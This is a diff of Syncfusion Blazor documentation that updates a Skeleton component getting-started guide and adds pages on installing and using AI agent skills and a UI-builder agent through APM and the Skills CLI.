+Install [Syncfusion.Blazor.Notifications](https://www.nuget.org/packages/Syncfusion.Blazor.Notifications/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Notifications -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Notifications -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
-
-{% endtabcontents %}
+## Add import namespaces
 
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Notifications` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Notifications` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +131,28 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Skeleton component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Skeleton component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Skeleton component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Notifications
+
+@using Syncfusion.Blazor.Notifications
 
 <SfSkeleton Height="15px" Width="200px"></SfSkeleton><br/>
 <SfSkeleton Height="15px" Width="100px"></SfSkeleton>
@@ -204,12 +164,14 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Skeleton compone
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/hNhfNWgXUFWfbEvA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Skeleton Component](./images/blazor-skeleton-component.png)" %}
 
-## Blazor Skeleton Shapes
+## Blazor Skeleton shapes
 
 The [`Shape`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Notifications.SfSkeleton.html#Syncfusion_Blazor_Notifications_SfSkeleton_Shape) property can be used to display skeleton in different shapes like circle, square, rectangle and text.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Notifications
 
 <div style="width: 200px">
     <SfSkeleton Shape="SkeletonType.Circle" Width="48px" CssClass="custom-css"></SfSkeleton>
diff --git a/blazor/skills/agentic-ui-builder.md b/blazor/skills/agentic-ui-builder.md
new file mode 100644
index 0000000000..cc77b10171
--- /dev/null
+++ b/blazor/skills/agentic-ui-builder.md
@@ -0,0 +1,197 @@
+---
+layout: post
+title: Syncfusion® Blazor UI Builder Skill for AI Assistants | Syncfusion®
+description: Install Syncfusion® Agentic Blazor UI Builder to generate production-ready Blazor components from natural-language prompts.
+control: Skills
+platform: Blazor
+documentation: ug
+---
+
+# Syncfusion® Agentic Blazor UI Builder Skill for AI Assistants
+
+**Syncfusion® Agentic Blazor UI Builder** is an AI-powered skill and companion agent that accelerates Blazor application development by transforming natural-language UI requirements into production-ready components using Syncfusion® Blazor UI libraries. 
+
+Integrated with your AI-powered IDE, it leverages deep knowledge of **Syncfusion® components** to deliver accurate and ready-to-use code.
+By combining intelligent code generation with best practices, accessibility standards, and design-system consistency, Blazor UI Builder helps you rapidly build scalable dashboards and user interfaces without leaving your development workflow.
+
+## Prerequisites
+
+Before installing Blazor UI Builder, ensure the following:
+
+| Requirement | Description |
+|-------------|-------------|
+| **Blazor Project** | Active Blazor WebAssembly or Blazor Server project (.NET 8+) |
+| **Microsoft .NET SDK 8.0 or later** | .NET CLI tools installed |
+| **Node.js version 18 or later** | npm package manager installed |
+| **Agent Package Manager (APM)** | Agent Package Manager installed. [Installation Guidelines](https://microsoft.github.io/apm/quickstart/#1-install-apm) |
+| **Syncfusion License** | [Commercial](https://www.syncfusion.com/sales/unlimitedlicense), [Free Community](https://www.syncfusion.com/products/communitylicense), or [Free Trial](https://www.syncfusion.com/account/manage-trials/start-trials) |
+| **Supported AI Agent / IDE** | A supported AI agent or IDE that integrates with Skills (VS Code, Cursor, Syncfusion® Code Studio, etc.) 
+
+## Key Benefits
+
+### **AI-Driven UI Generation**
+- Converts prompts into complete Blazor components-not just snippets
+- Automatically selects appropriate Syncfusion® components and features
+- Produces structured, maintainable code
+
+### **Component Usage & API Accuracy**
+- Uses correct Syncfusion® component APIs
+- Injects required feature modules (paging, sorting, filtering, etc.)
+- Avoids unsupported or deprecated patterns
+
+### **Patterns & Best Practices**
+- Recommended component composition and Blazor lifecycle integration
+- Event handling aligned with Blazor standards
+- Secure and scalable coding patterns
+
+### **Accessibility & Responsiveness**
+- WCAG 2.1 AA–aligned output
+- Semantic HTML with ARIA support
+- Mobile-first responsive layouts
+
+### **Design-System Integration**
+- Supports Tailwind, Bootstrap, Material, or custom themes
+- Ensures consistent Syncfusion® styling and theme usage
+
+## Installation
+
+Before installing Blazor UI Builder, ensure that APM (Agent Package Manager) is installed and available in your environment.
+
+### Verify APM Installation
+
+Run the following command to confirm APM is installed:
+
+```bash
+apm --version
+```
+
+### Install the Syncfusion® Agentic Blazor UI Builder package using APM
+
+Use the APM CLI to install the Blazor UI Builder skill for your preferred environment:
+
+{% tabs %}
+{% highlight bash tabtitle="Copilot" %}
+
+apm install syncfusion/blazor-ui-builder -t copilot
+
+{% endhighlight %} 
+
+{% highlight bash tabtitle="Cursor" %}
+
+apm install syncfusion/blazor-ui-builder -t cursor
+
+{% endhighlight %}
+
+{% highlight bash tabtitle="Codex" %}
+
+apm install syncfusion/blazor-ui-builder -t codex
+
+{% endhighlight %}
+
+{% highlight bash tabtitle="Claude" %}
+
+apm install syncfusion/blazor-ui-builder -t claude
+
+{% endhighlight %}
+{% endtabs %}
+
+After installation, the following artifacts are added to your project for the GitHub Copilot target:
+
+- `.agent/skills/` – contains the skill files
+- `.github/agents/` – contains the agent configuration
+
+Refer to the [documentation](https://microsoft.github.io/apm/reference/cli/targets/#detection-signals) for details about supported deployment targets.
+
+> For Syncfusion® Code Studio, use the Copilot command above to install the Blazor UI Builder.
+
+## How the Syncfusion® Agentic Blazor UI Builder Skill Works
+
+1. **Intent Analysis** - Parse the user's prompt to identify component types and high-level layout intent.
+2. **Project Detection** - Automatically detects project framework, package manager, and existing themes.
+3. **Component Mapping** - Map intent to Syncfusion® components and required feature modules.
+4. **Theming & Design System**  
+   Load required theming guidelines and confirm key design choices:
+   - CSS framework (Tailwind, Bootstrap, Material, or Greenfield(custom theme)). If no themes detected in the existing project, Greenfield and Syncfusion Tailwind3 theme are shown as the default option-proceed with this or change the theme as preferred.
+   - Syncfusion theme (Tailwind3, Bootstrap5, Material3, fluent2)
+   - Light and Dark Mode
+   - Core design basics (colors, spacing, typography, responsiveness, accessibility)
+5. **Code Generation** - Produce C# Blazor components, parameter interfaces, and CSS/styling scaffolding.
+6. **Dependency Management** - Recommend or install required Syncfusion® packages and peer dependencies.
+7. **Validation** - Run accessibility and basic security checks, request confirmation for changes.
+8. **Code Insertion** - Create files or patch existing files following project structure and conventions.
+
+Key enforcement points:
+
+- Adds correct theme and CSS imports for chosen Syncfusion® themes
+- Injects only the feature modules required by generated components
+- Generates semantic HTML with ARIA attributes and keyboard support
+- Avoids unsupported or deprecated API usages for Syncfusion® components
+
+> The assistant handles most stages automatically and may request confirmation where required.
+
+## Generate UIs using the Agentic UI Builder
+
+After installing Blazor UI Builder with APM, the relevant agent and skill files are added to your project under:
+
+- `.agent/skills/` (skill files)
+- `.github/agents/` (Blazor UI builder agent configuration)
+
+To start using the skill:
+
+1. Open your supported IDE.
+2. In the chat panel, select the `syncfusion-blazor-ui-builder` agent from the **Agent dropdown**.
+  ![Set Agent](images/blazor-ui-builder.png)
+3. Start prompting the agent with a clear description of your UI requirements.
+
+Examples Prompts:
+
+{% promptcards %}
+{% promptcard Authentication %}
+Create a login page with the Tailwind 3 theme using a centered card layout containing email and password input fields with validation. Include a "Remember Me" checkbox, a forgot password link, and a primary login button. Add a secondary "Create Account" button below. Ensure the layout is responsive and works on mobile, tablet, and desktop.
+{% endpromptcard %}
+{% promptcard Admin Dashboard %}
+Create a CMS Admin Dashboard UI featuring a collapsible sidebar with navigation items for Dashboard, Content, Users, Analytics, and Settings; a top header (AppBar) showing the title “CMS Admin Dashboard” on the left and a user name with profile icon on the right; and a main content area that includes three compact summary cards in a single row displaying Total Content, Total Users, and Active Sessions (each card showing a label, relevant icon, prominent count value, and percentage change from last month), followed by a “Content Management” section with a filterable and data grid containing columns for Title, Author, Status, Date, and Actions (with edit and delete buttons), and finally two charts displayed side by side-a bar chart titled “Content Over Time” and a donut chart titled “Content by Category”-using realistic sample data for both the grid (10–12 rows) and the charts.
+{% endpromptcard %}
+{% endpromptcards %}
+
+4. Generated code follows best practices with accessible, semantic HTML, responsive mobile-first layouts, strong C# typing, and built-in security measures such as input validation and avoidance of embedded secrets.
+
+## Best Practices
+
+Follow these guidelines to get the most out of UI Builder and ensure high-quality production-ready result:
+
+- **Stay consistent** - Maintain consistent file organization, naming conventions, and coding standards throughout your project.
+- **Use advanced AI models** - For best results, use **Claude Sonnet 4.6 or higher** capability models to produce better code quality and more accurate implementations.
+- **Review all content and assets before production** - Replace any placeholder images or icons (e.g., from emoji sets) with your brand assets. Also validate the logic, security, and compatibility with your existing code before deployment.
+
+## Troubleshooting
+
+- **APM installation failure**: Refer to this [documentation](https://microsoft.github.io/apm/getting-started/installation/#troubleshooting)
+
+- **Skills not loading**: Ensure the **.agent/** and **.github/agents/** folders exist in your project and that the skill was installed successfully using APM. Verify that the correct agent is selected from the Agent dropdown in your IDE.
+
+- **Component not rendering**: Retry generation using the specific component skill to resolve the issue, and ensure required Syncfusion® packages and themes are properly configured.
+
+- **Syncfusion license banner appears**: Use the licensing skill to correctly register and validate your Syncfusion® license key in the application.
+
+
+## FAQ
+
+**Which agents/IDEs are supported?**
+Any Skills-compatible agent that reads local skill files (Code Studio, VS Code, Cursor, etc.).
+
+**Are skills loaded automatically?**  
+Yes. Supported agents automatically load relevant skills based on your query.
+
+**Can I customize the generated styles?**
+Yes - the skill supports choosing Tailwind, Bootstrap, Material, or a custom theme; generated components include clear integration points for style adjustments.
+
+**Does it modify files automatically?**
+The skill proposes changes and requires confirmation for insertion; automatic dependency installation may be offered depending on agent permissions.
+
+## See also
+
+- [Syncfusion Blazor Skills](component-skills)
+- [Agent Skills Standards](https://agentskills.io/home)
+- [Agent Package Manager](https://microsoft.github.io/apm/getting-started/quick-start/)
+
diff --git a/blazor/skills/component-skills.md b/blazor/skills/component-skills.md
new file mode 100644
index 0000000000..6dafae9d70
--- /dev/null
+++ b/blazor/skills/component-skills.md
@@ -0,0 +1,211 @@
+---
+layout: post
+title: Syncfusion Blazor Agent Skills for AI Assistants | Syncfusion
+description: Learn how to install and use Syncfusion Agent Skills to enhance AI assistants with accurate Syncfusion Blazor component guidance.
+platform: Blazor
+control: Skills
+documentation: ug
+---
+
+# Syncfusion® Blazor Agent Skills for AI Assistants
+
+This guide introduces **Syncfusion Blazor Skills**, a knowledge package that enables AI assistants (VS Code, Cursor, CodeStudio, etc.) to understand and generate accurate Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor code using official APIs, patterns, and theming guidelines.
+
+Syncfusion<sup style="font-size:70%">&reg;</sup> Skills eliminate common issues with generic AI suggestions by grounding the assistant in accurate Syncfusion<sup style="font-size:70%">&reg;</sup> component usage patterns, API structures, supported features, and project‑specific configuration.
+
+## Prerequisites
+
+Before installing Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Agent Skills, ensure the following:
+
+- Required [Node.js](https://nodejs.org/en/) version >= 16
+- Blazor application (existing or new); see [Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
+- A supported AI agent or IDE that integrates with the Skills CLI (VS Code, Syncfusion<sup style="font-size:70%">&reg;</sup> Code Studio, Cursor, etc.)
+
+## Installation
+
+Install [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components skills](https://github.com/syncfusion/blazor-ui-components-skills.git) using the Skills CLI. Users can also explore available skills from the [marketplace](https://skills.sh/syncfusion/).
+
+### Install all skills
+
+Use the following command to install all component skills at once in the `.agents/skills` directory:
+
+{% tabs %}
+{% highlight bash tabtitle="NPM" %}
+
+npx skills add syncfusion/blazor-ui-components-skills -y
+
+{% endhighlight %}
+{% endtabs %}
+
+### Install selected skills
+
+Use the following command to install skills interactively:
+
+{% tabs %}
+{% highlight bash tabtitle="NPM" %}
+
+npx skills add syncfusion/blazor-ui-components-skills
+
+{% endhighlight %}
+{% endtabs %}
+
+The terminal will display a list of available skills. Use the arrow keys to navigate, the space bar to select the desired skills, and the Enter key to confirm.
+{% tabs %}
+{% highlight bash tabtitle="CMD" %}
+
+ Select skills to install (space to toggle)
+│  ◻ syncfusion-blazor-accumulation-chart (Implement Syncfusion Blazor Accumulation Chart component...)
+│  ◻ syncfusion-blazor-ai-assistview
+│  ◻ syncfusion-blazor-charts
+│  ◻ syncfusion-blazor-datagrid
+│  ◻ syncfusion-blazor-diagram
+│  ◻ syncfusion-blazor-file-manager
+│  ◻ syncfusion-blazor-gantt-chart
+│  ◻ syncfusion-blazor-pivot-table
+│  ◻ syncfusion-blazor-rich-text-editor
+│  ◻ syncfusion-blazor-scheduler
+|  .....
+
+{% endhighlight %}
+{% endtabs %}
+
+Next, select which AI agent you're using and where to store the skills.
+{% tabs %}
+{% highlight bash tabtitle="CMD" %}
+
+│  ── Additional agents ──
+│  Search:  
+│  ↑↓ move, space select, enter confirm
+│
+│ ❯ ○ Augment (.augment/skills)
+│   ○ Claude Code (.claude/skills)
+│   ○ OpenClaw (skills)
+│   ○ CodeBuddy (.codebuddy/skills)
+│   ○ Command Code (.commandcode/skills)
+│   ○ Continue (.continue/skills)
+│   ○ Cortex Code (.cortex/skills)
+│   ○ Crush (.crush/skills)
+|   ....
+
+{% endhighlight %}
+{% endtabs %}
+
+Choose your installation scope (project-level or global), then confirm to complete the installation.
+
+{% tabs %}
+{% highlight bash tabtitle="CMD" %}
+
+◆  Installation scope
+│  ● Project (Install in current directory (committed with your project))
+│  ○ Global
+
+◆  Proceed with installation?
+│  ● Yes / ○ No
+
+{% endhighlight %}
+{% endtabs %}
+
+This registers the Syncfusion<sup style="font-size:70%">&reg;</sup> skill pack so your AI assistant can automatically load it in supported IDEs such as [Code Studio](https://help.syncfusion.com/code-studio/reference/configure-properties/skills), [Visual Studio Code](https://code.visualstudio.com/docs/copilot/customization/agent-skills), and [Cursor](https://cursor.com/docs/skills).
+
+To learn more about the Skills CLI, refer [here](https://skills.sh/docs).
+
+## What’s included
+
+1. **Component Usage & API Knowledge** - Curated, Skill‑based guidance that captures how to add, configure, and compose Syncfusion® Blazor components, including key parameters, events, services to register (where applicable), and common integration patterns for Blazor Server, WebAssembly, Web App, and MAUI environments.
+2. **Patterns & Best Practices** - Practical recommendations for component configuration, data binding approaches, and feature‑implementation workflows (for example, paging, sorting, filtering, editing, and validation for data components). All guidance is authored directly within the Skill file rather than being fetched from documentation.
+3. **Design‑System Guidance** - Includes information related to themes, styling customization, and Syncfusion® Blazor component best practices across different application types.
+
+## How Syncfusion<sup style="font-size:70%">&reg;</sup> Agent Skills Work
+
+1. **Reads relevant Skill files based on queries**, retrieving component usage patterns, APIs, and best‑practice guidance from the installed Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Skills. The assistant initially loads only skill names and descriptions, then dynamically loads the required skill and reference files as needed to provide accurate Syncfusion guidance.
+2. **Enforces Syncfusion<sup style="font-size:70%">&reg;</sup> best practices**, including:
+
+   - Using the required NuGet packages for each component.
+   - Registering applicable component dependencies in `Program.cs`.
+   - Adding the correct theme and script imports.
+   - Implementing proper data binding patterns for Blazor Server/WebAssembly/Web App.
+3. **Generates component‑accurate code**, avoiding invalid parameters or unsupported patterns.
+
+### Using the AI Assistant
+
+Once skills are installed, the assistant can be used to generate and update Syncfusion® Blazor code for tasks such as:
+
+- "Add a DataGrid with paging, sorting, and filtering."
+- "Create a Scheduler with week view and drag‑drop capabilities."
+- "Implement file upload with chunk upload and validation."
+- "Build a rich text editor with custom toolbar tools."
+- "Add a calendar with event scheduling."
+- "Apply a theme and enable dark mode."
+
+## Skills CLI Commands
+
+After installation, manage Syncfusion<sup style="font-size:70%">&reg;</sup> Agent Skills using the following commands:
+
+### List Skills
+
+View all installed skills in your current project or global environment:
+
+{% tabs %}
+{% highlight bash tabtitle="NPM" %}
+
+npx skills list
+
+{% endhighlight %}
+{% endtabs %}
+
+### Remove a Skill
+
+Uninstall a specific skill from your environment:
+
+{% tabs %}
+{% highlight bash tabtitle="NPM" %}
+
+npx skills remove <skill-name>
+
+{% endhighlight %}
+{% endtabs %}
+
+Replace `<skill-name>` with the name of the skill you want to remove (for example, `syncfusion-blazor-datagrid`).
+
+### Check for Updates
+
+Check if updates are available for your installed skills:
+
+{% tabs %}
+{% highlight bash tabtitle="NPM" %}
+
+npx skills check
+
+{% endhighlight %}
+{% endtabs %}
+
+### Update All Skills
+
+Update all installed skills to their latest versions:
+
+{% tabs %}
+{% highlight bash tabtitle="NPM" %}
+
+npx skills update
+
+{% endhighlight %}
+{% endtabs %}
+
+## FAQ
+
+**Which agents and IDEs are supported?**
+
+Any Skills compatible agent or IDE that loads local skill files (Visual Studio Code, Cursor, CodeStudio, etc.).
+
+**Are skills loaded automatically?**
+
+Yes. Once installed, supported agents automatically detect and load relevant skills for Syncfusion‑related queries without requiring additional configuration.
+
+**Skills are not being loaded**
+
+Verify that skills are installed in the correct agent directory, restart the IDE, and confirm that the agent supports external skill files.
+
+## See also
+
+- [Agent Skills Standards](https://agentskills.io/home)
+- [Skills CLI](https://skills.sh/docs)
\ No newline at end of file
diff --git a/blazor/skills/getting-started.md b/blazor/skills/getting-started.md
index 72160dde82..6dafae9d70 100644
--- a/blazor/skills/getting-started.md
+++ b/blazor/skills/getting-started.md
@@ -111,9 +111,9 @@ To learn more about the Skills CLI, refer [here](https://skills.sh/docs).
 
 ## What’s included
 
-1. **Component Usage & API Knowledge** — Curated, Skill‑based guidance that captures how to add, configure, and compose Syncfusion® Blazor components, including key parameters, events, services to register (where applicable), and common integration patterns for Blazor Server, WebAssembly, Web App, and MAUI environments.
-2. **Patterns & Best Practices** — Practical recommendations for component configuration, data binding approaches, and feature‑implementation workflows (for example, paging, sorting, filtering, editing, and validation for data components). All guidance is authored directly within the Skill file rather than being fetched from documentation.
-3. **Design‑System Guidance** — Includes information related to themes, styling customization, and Syncfusion® Blazor component best practices across different application types.
+1. **Component Usage & API Knowledge** - Curated, Skill‑based guidance that captures how to add, configure, and compose Syncfusion® Blazor components, including key parameters, events, services to register (where applicable), and common integration patterns for Blazor Server, WebAssembly, Web App, and MAUI environments.
+2. **Patterns & Best Practices** - Practical recommendations for component configuration, data binding approaches, and feature‑implementation workflows (for example, paging, sorting, filtering, editing, and validation for data components). All guidance is authored directly within the Skill file rather than being fetched from documentation.
+3. **Design‑System Guidance** - Includes information related to themes, styling customization, and Syncfusion® Blazor component best practices across different application types.
 
 ## How Syncfusion<sup style="font-size:70%">&reg;</sup> Agent Skills Work
 
@@ -208,4 +208,4 @@ Verify that skills are installed in the correct agent directory, restart the IDE
 ## See also
 
 - [Agent Skills Standards](https://agentskills.io/home)
-- [Skills CLI](https://skills.sh/docs)
+- [Skills CLI](https://skills.sh/docs)
\ No newline at end of file
diff --git a/blazor/skills/images/blazor-ui-builder.png b/blazor/skills/images/blazor-ui-builder.png
new file mode 100644
index 0000000000..aaa17763a1
Binary files /dev/null and b/blazor/skills/images/blazor-ui-builder.png differ
diff --git a/blazor/skills/ui-builder-skill.md b/blazor/skills/ui-builder-skill.md
new file mode 100644
index 0000000000..5928d5e619
--- /dev/null
+++ b/blazor/skills/ui-builder-skill.md
@@ -0,0 +1,197 @@
+---
+layout: post
+title: Syncfusion® Blazor UI Builder Skill for AI Assistants | Syncfusion®
+description: Install Syncfusion® Blazor UI Builder to generate production-ready Blazor components from natural-language prompts.
+control: Skills
+platform: Blazor
+documentation: ug
+---
+
+# Syncfusion® Blazor UI Builder Skill for AI Assistants
+
+**Syncfusion® Blazor UI Builder** is an AI-powered skill and companion agent that accelerates Blazor application development by transforming natural-language UI requirements into production-ready components using Syncfusion® Blazor UI libraries. 
+
+Integrated with your AI-powered IDE, it leverages deep knowledge of **Syncfusion® components** to deliver accurate and ready-to-use code.
+By combining intelligent code generation with best practices, accessibility standards, and design-system consistency, Blazor UI Builder helps you rapidly build scalable dashboards and user interfaces without leaving your development workflow.
+
+## Prerequisites
+
+Before installing Blazor UI Builder, ensure the following:
+
+| Requirement | Description |
+|-------------|-------------|
+| **Blazor Project** | Active Blazor WebAssembly or Blazor Server project (.NET 8+) |
+| **Microsoft .NET SDK 8.0 or later** | .NET CLI tools installed |
+| **Node.js version 18 or later** | npm package manager installed |
+| **Agent Package Manager (APM)** | Agent Package Manager installed. [Installation Guidelines](https://microsoft.github.io/apm/quickstart/#1-install-apm) |
+| **Syncfusion License** | [Commercial](https://www.syncfusion.com/sales/unlimitedlicense), [Free Community](https://www.syncfusion.com/products/communitylicense), or [Free Trial](https://www.syncfusion.com/account/manage-trials/start-trials) |
+| **Supported AI Agent / IDE** | A supported AI agent or IDE that integrates with Skills (VS Code, Cursor, Syncfusion® Code Studio, etc.) 
+
+## Key Benefits
+
+### **AI-Driven UI Generation**
+- Converts prompts into complete Blazor components-not just snippets
+- Automatically selects appropriate Syncfusion® components and features
+- Produces structured, maintainable code
+
+### **Component Usage & API Accuracy**
+- Uses correct Syncfusion® component APIs
+- Injects required feature modules (paging, sorting, filtering, etc.)
+- Avoids unsupported or deprecated patterns
+
+### **Patterns & Best Practices**
+- Recommended component composition and Blazor lifecycle integration
+- Event handling aligned with Blazor standards
+- Secure and scalable coding patterns
+
+### **Accessibility & Responsiveness**
+- WCAG 2.1 AA–aligned output
+- Semantic HTML with ARIA support
+- Mobile-first responsive layouts
+
+### **Design-System Integration**
+- Supports Tailwind, Bootstrap, Material, or custom themes
+- Ensures consistent Syncfusion® styling and theme usage
+
+## Installation
+
+Before installing Blazor UI Builder, ensure that APM (Agent Package Manager) is installed and available in your environment.
+
+### Verify APM Installation
+
+Run the following command to confirm APM is installed:
+
+```bash
+apm --version
+```
+
+### Install the Syncfusion® Blazor UI Builder package using APM
+
+Use the APM CLI to install the Blazor UI Builder skill for your preferred environment:
+
+{% tabs %}
+{% highlight bash tabtitle="Copilot" %}
+
+apm install syncfusion/blazor-ui-builder -t copilot
+
+{% endhighlight %} 
+
+{% highlight bash tabtitle="Cursor" %}
+
+apm install syncfusion/blazor-ui-builder -t cursor
+
+{% endhighlight %}
+
+{% highlight bash tabtitle="Codex" %}
+
+apm install syncfusion/blazor-ui-builder -t codex
+
+{% endhighlight %}
+
+{% highlight bash tabtitle="Claude" %}
+
+apm install syncfusion/blazor-ui-builder -t claude
+
+{% endhighlight %}
+{% endtabs %}
+
+After installation, the following artifacts are added to your project for the GitHub Copilot target:
+
+- `.agent/skills/` – contains the skill files
+- `.github/agents/` – contains the agent configuration
+
+Refer to the [documentation](https://microsoft.github.io/apm/reference/cli/targets/#detection-signals) for details about supported deployment targets.
+
+> For Syncfusion® Code Studio, use the Copilot command above to install the Blazor UI Builder.
+
+## How the Syncfusion® Blazor UI Builder Skill Works
+
+1. **Intent Analysis** - Parse the user's prompt to identify component types and high-level layout intent.
+2. **Project Detection** - Automatically detects project framework, package manager, and existing themes.
+3. **Component Mapping** - Map intent to Syncfusion® components and required feature modules.
+4. **Theming & Design System**  
+   Load required theming guidelines and confirm key design choices:
+   - CSS framework (Tailwind, Bootstrap, Material, or Greenfield(custom theme)). If no themes detected in the existing project, Greenfield and Syncfusion Tailwind3 theme are shown as the default option-proceed with this or change the theme as preferred.
+   - Syncfusion theme (Tailwind3, Bootstrap5, Material3, fluent2)
+   - Light and Dark Mode
+   - Core design basics (colors, spacing, typography, responsiveness, accessibility)
+5. **Code Generation** - Produce C# Blazor components, parameter interfaces, and CSS/styling scaffolding.
+6. **Dependency Management** - Recommend or install required Syncfusion® packages and peer dependencies.
+7. **Validation** - Run accessibility and basic security checks, request confirmation for changes.
+8. **Code Insertion** - Create files or patch existing files following project structure and conventions.
+
+Key enforcement points:
+
+- Adds correct theme and CSS imports for chosen Syncfusion® themes
+- Injects only the feature modules required by generated components
+- Generates semantic HTML with ARIA attributes and keyboard support
+- Avoids unsupported or deprecated API usages for Syncfusion® components
+
+> The assistant handles most stages automatically and may request confirmation where required.
+
+## Generate UIs using the Agentic UI Builder
+
+After installing Blazor UI Builder with APM, the relevant agent and skill files are added to your project under:
+
+- `.agent/skills/` (skill files)
+- `.github/agents/` (Blazor UI builder agent configuration)
+
+To start using the skill:
+
+1. Open your supported IDE.
+2. In the chat panel, select the `syncfusion-blazor-ui-builder` agent from the **Agent dropdown**.
+  ![Set Agent](images/blazor-ui-builder.png)
+3. Start prompting the agent with a clear description of your UI requirements.
+
+Examples Prompts:
+
+{% promptcards %}
+{% promptcard Authentication %}
+Create a login page with the Tailwind 3 theme using a centered card layout containing email and password input fields with validation. Include a "Remember Me" checkbox, a forgot password link, and a primary login button. Add a secondary "Create Account" button below. Ensure the layout is responsive and works on mobile, tablet, and desktop.
+{% endpromptcard %}
+{% promptcard Admin Dashboard %}
